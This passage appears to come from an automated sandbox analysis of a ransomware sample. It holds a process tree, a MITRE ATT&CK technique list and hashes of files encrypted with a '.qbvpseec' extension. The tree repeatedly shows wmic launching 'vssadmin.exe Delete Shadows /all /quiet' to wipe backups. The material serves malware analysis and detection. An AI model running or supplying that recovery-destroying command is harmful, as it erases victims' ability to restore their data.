  2⤵
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1656

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2884

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2988

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1768

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1484

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1372

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:568

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2084

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1956
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:320
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1044

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2312

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1316

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:232
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2412
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2504

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
cacf98305709faa8e586191f9f361125

SHA1
ad230761f52c2eba6b8a440a67eb1223c7387782

SHA256
d0c1ee99ef2ec49cdfe76ba6fa076191501f3cce9cb0b3aa9462e1dba74c956f

SHA512
dd347aa1c6c01c4e5e6626fb46cbb17a89fb84231a5a52dbc7c5ef05bcbe2d96937e131cb3aff6ccae6dec1b0a01a9bcdd528fe53177be501a1800ae4bc66b0c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f18bf935710236e81efc724ea5655327

SHA1
b6fd37f21601706c35a7409e21cadcf06b476b5e

SHA256
d9a9fa1c4e5cc23c6f390542fdbe9f396efaac1d6aabaab5f70c132942489ae9

SHA512
009104cb4fc12111b972c66f0c8f86614fc1d93e4fa2efba5c8c25b102a36f3fa449e798e75ea834c2060f4aeff1161c0e83f3e080fc3896507f7e57a0b00973

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5146642f752f794f02faf600bace8b44

SHA1
b5e74261a89b8c3ecb9ce19ffb216c132a5442c5

SHA256
37d8318a310e49f1cef2788d2db86b24b8e37b0f3519b5ed48e1c728eb97bba8

SHA512
b3bae42360654119d92f8a129f727af5b6070ac4b9c2cd199aa3c8dfd627c6e1ab4687c90145277eb8bc961a408ee159576ba617d9d9dd830401bec20712a31c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d84815276981a05c9f238d3eb5483e06

SHA1
4f5896c2360834e454dfba2d8dcdb207ffe49d52

SHA256
5c9f13ff610ec7d0a03193df401cd637262a29459af039629005b11cd1780e84

SHA512
2293386a22b9209313efffddfe245d94a110a565a1cd7387a3eadf0074f1b18ea01c81368e40656aa5f5f3a6abc8f5945ab4279a4a34e47ca170f74bda272055

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a7481fd0df90cc1ea1c739006ed9f263

SHA1
0a2f783cc7aa1a43545be3173d7c0dff8e6573da

SHA256
2df08c843978cbc7df447c24e84e5142eb4c8da70cde61f5d9e61384556f1661

SHA512
0038201de285969a95b6cc150bb0fca8f6fe8db2ce6d732a4b3e9e8d9f18a26960c8d2b29345ca91d73f8c11789a6dad7bee94959882e5593caa92194ba85667

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d412218172f5b2686a7540aa0ccef1b4

SHA1
aca9ac1bb0db893a3bab06b2b8b341763f85d6e0

SHA256
aea9c3e86d4ef99211d23b0c27cb4068b1e11ff9f49511827354d2f56695024c

SHA512
124d00356abdd2e11b0b9dadf57acf5d341235241c158e1d5b02bbcb713c24aaddc43aca090bf16d462965c5453a89287407f02eb7c794eab1b18343bc07350c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
98c0c00b709810e72347a4a17ca170f3

SHA1
2ee1e634a423b03a791b94dce4fb02febdbffd56

SHA256
f0887165c97d0d28062b075a516ef2a023cf6c596b02e174dcd7b15e38cb276d

SHA512
7d26da1788bc4cf9a2ae7622710d3b68a918dfacb3c0ef0ac5e0ec11ed5d2d308ccf807295fe4c7597bde76d251dfa59d38b090a5808aa9f1b6bb118f8a1d4bd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d2fc377d998744ca5c47d0f6e55db93f

SHA1
54572d20bdcb86a13e0e3b89097dc87d61cd9050

SHA256
66d3803f8269d953457acfa59c885eab09b4c705ff3963d585bc5b357976f965

SHA512
206dbcf9a2bd4a41924b0242fcdbb53829fb112b3263249f30121b71a16797cf4caeea987a0a5714e8536bad190c79c0ee34934bb3f6a65754b27530ad697ce4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d42985d0a7a8cbf145fdf1dcaeb58f2d

SHA1
f02f69d55042f62643fc478305f19c7a42041272

SHA256
bf26ba8c654f124968bdf9925c76cdbcf14434763abc665c29856b2117a6fb8c

SHA512
a2fc8c34fdf9d8210824c09adea9278c1ca6c246a3ba1045a9f63a089f62342a122ad2313b19debbb43917a2b8f1bbacbb88d360e4e8c2ec38c1af792efa043c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
eadf558a8f27063a0461cc28c1d51e11

SHA1
a21f05e802606da25fbccfa1e9d3ade729645370

SHA256
3711047d334e9c8a9dc895b846026af1f41d21d264f23ada9da75aaaecc33b00

SHA512
6bb8882d3aa3db09c965f6712d4007059cb17d1b04e6e7dfb9c9d792ab8ddce33aeb1e469003b5fd5fbe37580f7eee64432dc1411fb4ead7a708c0b13803c676

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f2cee8154ac4b644768279aaabe1be2c

SHA1
5581477e851db503d9c27ac105252f3dc30c536c

SHA256
d4a0dc196e39615f1e5fab5b9250631f2866f2ff47b24e529724e69e84e3cffb

SHA512
48d38d60a2870d0b72c3e92acd1a7b95be7616ca72b5e6e28ff17244a9abbceb6df8412919c62f8b71e11b17648eef1decae4105a511d19c4be1c4a48332bb0b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
9edce61fbc88ad1587f2fd46942dac31

SHA1
22a036d5369cc649834e9d246ab19a2265e84d8f

SHA256
ce3907db8a282ecf75e82788c0f057efa99e2efb057fabec3db082d4332abddc

SHA512
fddf494087df24676d1df4934a6a54e485918dbf450a960c8ed74fa4e85d24c9c573d2acb92c3e7f0a105ec6aa564286cbb7d0b2065510f772334b9d84827196

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a8816fc54c143e64fa412515ad778c08

SHA1
c40b5727c2e108a8eaf5577607b6cd3c70b81f0a

SHA256
6702332389bc4cece70bf23dbd2bb777fc40e05cc3048a6b4657e9b55aa0d5e9

SHA512
17d327bda8935c6fbfe4a5844954d1fe63e15aa614cdde6bd898329e47bf7d7a12546ca4abe3dd0f6babe730965d8104c3a7bb5fe96ef0dcd096726017ea5313

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
14dd99f1b79970b05a12e9752dfb0ead

SHA1
638b337590bb0d76bf676af71aa80bd1019a6c94

SHA256
6e71f24ae944fb3b2a5db02f49652437f1516da9f3c75ffc78469060de3b9542

SHA512
a5506d7244ce304bbaf81cc1ae614225418e81407d9c3ffcde7503d4cf428a7ad0a5bd9b201d2cd5bfdb47f8430f4500b1df8aca30a4577071aaf0d1cbe9f92a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
259ac24eb71c43879c789e45c22b0414

SHA1
18ebd4af3fdda14b32371ba780a64e88a81927f5

SHA256
32747f784eedfe2c854105d166478fd8a81ee3fa4dec1023588f50bf011b78ed

SHA512
e045da91a90c1113e69678dd8ccb1fd6dda09d43d7f071a526c50e22d8b1186051eb616147c08c9b643c9607a359c5e91b23340d5cc8f556acd77b8b9f1a5904

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a25944c5bb4fe069e45ba5b4be4af797

SHA1
c1da91d059195e97a665c7a492cafc6ce24a9f49

SHA256
7e7f6eb5dcad065f1038156c49a128f57f59e26f22ff9464ee6f063ff9577274

SHA512
f6ea085b756dcfebe7e5e1e88acdd55eadcb4c58ad32362a81fe28f2a74a911dc4eeae61fc2a945c3b5d7ef4d570e64f9864c1b1a401e5a2ea911aa3c7e7cb7f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
18b52133a53d5cb2bdac60c381a78548

SHA1
b6c6e62401f44fc092fcd96f873113e7ef889f50

SHA256
dd9b8f8cdf33e8d5778dc933dd25706297b9aa154a43f5a39615476e5ff961ba

SHA512
2a5c8dba8064ec3bb94bd4e02ffddce30fee730427e2263c5694dfd9099b2ab5894ff9a1075faee9fd6ba2814f0b138014c4add7bb1094abb52fbe2ad3cdd0ef

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
2cfcacc31a721a3f6187586000aa1705

SHA1
6042053cc1a471d5ad335d5aea850ba6ec01ab6f

SHA256
666a91daf2a4149dab74f64f2e2d2b73aeea91e35d71218dc5efb21abfc6595e

SHA512
50f47386aa9b91b0449b51bcd754fb433a50f6eb084f704fef7eb39c72e421fa8a122ec41885eb53e63e2d60df25111b5b0d79f427c90855f0673c2bba247cbd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
c486dcb65be1d9c5b2e9c7fd4d3b2859

SHA1
9598e1e64de5b1be5163e0d42cdcf5e31aea4223

SHA256
1537729bac94af93c080d39a5b3633bef822ef0ab06f2341d2c277839e6970e0

SHA512
595dcf3f810746e4d7c963093b9e02510907cd0c939b842d2377a4434e17d8a8dc2ba5b47cb827be457f8ebeb7c70479d951a434b8ca41b36283d371794ffbd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabA1AF.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarA27F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\Desktop\ClearBlock.jpeg.qbvpseec

Filesize
203KB

MD5
068ff9c33f208d2e46d495109558c60b

SHA1
5cb494a87fc4e1623419d33082ac7c7410570f8a

SHA256
0e5d967de96a3b79debf85e8cfd6a15fa0c88186143dfe43618f5c1438815fc7

SHA512
15f9cc50b0ae47309b00e359b986b0ac112e82d4799e2ffb6a018e78305aa36ccb613203e0d8a27c7c20698e0a61dff0ddf8ca0838d26311e8bf917969d1c156

Download Submit
C:\Users\Admin\Desktop\CompleteNew.docx.qbvpseec

Filesize
17KB

MD5
78c32799487cc790cffe09f0940afc0b

SHA1
09d40256d130fc44093366a62b32f1afa954bc29

SHA256
dab5b74c9cc43c6b4e2d2f128e59e3f66d1a989c50fe3af9611308403398776b

SHA512
dc515892eb374176e1d383b6b8f707405ba49798326f7aeded86d0798753123d564a868b894ea63d6f512ae2e1bed07f9351206c9ae7ebe8b8f4aa4aaf0f38c5

Download Submit
C:\Users\Admin\Desktop\ImportPush.docx.qbvpseec

Filesize
18KB

MD5
c57a09b07f09783dab5a6ea83a96ee89

SHA1
348b5aa8b234183a9bfc0adc39ed56cc8010e7d4

SHA256
dc29373ff8125f93b3eb01394266a41264d952f9ab7a3ab81459d0a806a8205c

SHA512
abedbe9b25e8112ed95652fc3e235e747b79b5bd95a7d6f22d35c0bbabca19b01afe0b9935b618a61d7412cc73352d14e8476df13a101a5c081404f37bc9cbb3

Download Submit
C:\Users\Admin\Desktop\PingRename.jpeg.qbvpseec

Filesize
307KB

MD5
40b1fd2955c5c4547d741a17cea0c9b2

SHA1
23d9f6a3bab2565dae3262bd675e478f3cbfbaf8

SHA256
eeb0ae191af871c611999db118118cc677ae2f605972297f7c9673eba672e804

SHA512
d76eb9c8bedd7d20e5156a39b6a1b57ba057a86613711a54af8893ff7e846ebb2a968464b2f88f234f38e043eda55bf611c3524c2362f12eba73d9f0193d5390

Download Submit
C:\Users\Admin\Desktop\PushCopy.ppt.qbvpseec

Filesize
249KB

MD5
3d05860d6a7ec3ff1527bda5e1cf9a37

SHA1
982f4d53b211f7124ca5921a2a8d6f92bac25e2a

SHA256
c226ed1907821356d19d34672b51b2616d757d62dc974735213869b595ba8c24

SHA512
86524cd577b131afb224d7d9949cadf45399279f9534b0c01588be5ff86059365d66e463c35191dd70070d21f43dc2a244f1ec3d1377213767c7776fc2f16128

Download Submit
C:\Users\Admin\Desktop\RegisterRename.mpg.qbvpseec

Filesize
296KB

MD5
acffa9ae4bea4cc20384be3fa2df63a5

SHA1
e23c19bdd9fce18ac6e7b081fd99889838e4b91d

SHA256
9a9a502bfab68c5576402edc8d187dd36b40f15806866523a367698f87f5951a

SHA512
72ed126ce7f1d59690a6c8c9492b78c18ceafdca54614a263670c1a70124eec7fc35ccccc51f794e7f050adb285c386d89317ec8e53a4df34dbe2111201454d7

Download Submit
C:\Users\Admin\Desktop\RepairGroup.vstx.qbvpseec

Filesize
226KB

MD5
33ba09b10bcec5fc1d87796a6da8bec5

SHA1
18a6216a3ff3f2c1dcb9880814df538c3f8edd8e

SHA256
a3aa7c4de85350900d538e3e5ae8999c8df51054eab98015e7dfd53bd486fcb8

SHA512
6525d3cf60ba518875c1d99a3b10b0d25370b3179f64e6997cf739dcdb7a08a32a166619978777580baef0490b65ffbaccc5756d50152da9d6d3266db935c25d

Download Submit
C:\Users\Admin\Desktop\ResolveApprove.ppsm.qbvpseec

Filesize
122KB

MD5
e274dc42cb1876b704ffe0ebc1e126f7

SHA1
c20ffa6d14a30f65b737d825fc57635aaa4266bf

SHA256
2f7d8d811fc1144664e039b3fe2268dab1c65850065b785ff7889afe74413606

SHA512
0d3b6e7962b7f3583f178ac44c737e95afaaf12b8bf7886c0430d94079411a1046c9a1f42e8e09f74b3580739ec744c34eec06749bbc8cafb82227d3f620b7b1

Download Submit
C:\Users\Admin\Desktop\StartEdit.mpg.qbvpseec

Filesize
331KB

MD5
7d09513b98263e2438fc859d96dbd133

SHA1
28543f4f647407959779e3a3e0fdfaef0c13a9d7

SHA256
ef5df9a242af66e7627913e88707b9f894e173eac21df1f3a78430b19e8c9e50

SHA512
a3ad38b4e6ebc32e5b44cdb7ac0826c9c476601be7ed2ab562c5c0d04026ab68b2b4cfb5a13f5f2b8a40ad6013fc8ea4eac30ed0da7be84dbf2f31900da5700a

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
6b003d65e0c69350dac80136704d0fb9

SHA1
49ee249b899e243cf6c75b765f24f3bd61d5e10c

SHA256
0ed54958606471617dae5442924f1bc27087c6602d818b5ade37da34bd5207d3

SHA512
ceaec0c5dda2fe3ee73537cfd85849494499f1ce3fd3a83cd7324183d292e45eeab34064e838922ff772cc637e6faf144d2ad0e25c9aacfe9c1a722cd4127959

Download Submit
memory/1108-1-0x0000000001C20000-0x0000000001C25000-memory.dmp

Filesize
20KB

Download
memory/2712-0-0x0000000000000000-0x0000000000006000-memory.dmp

Filesize
24KB

Download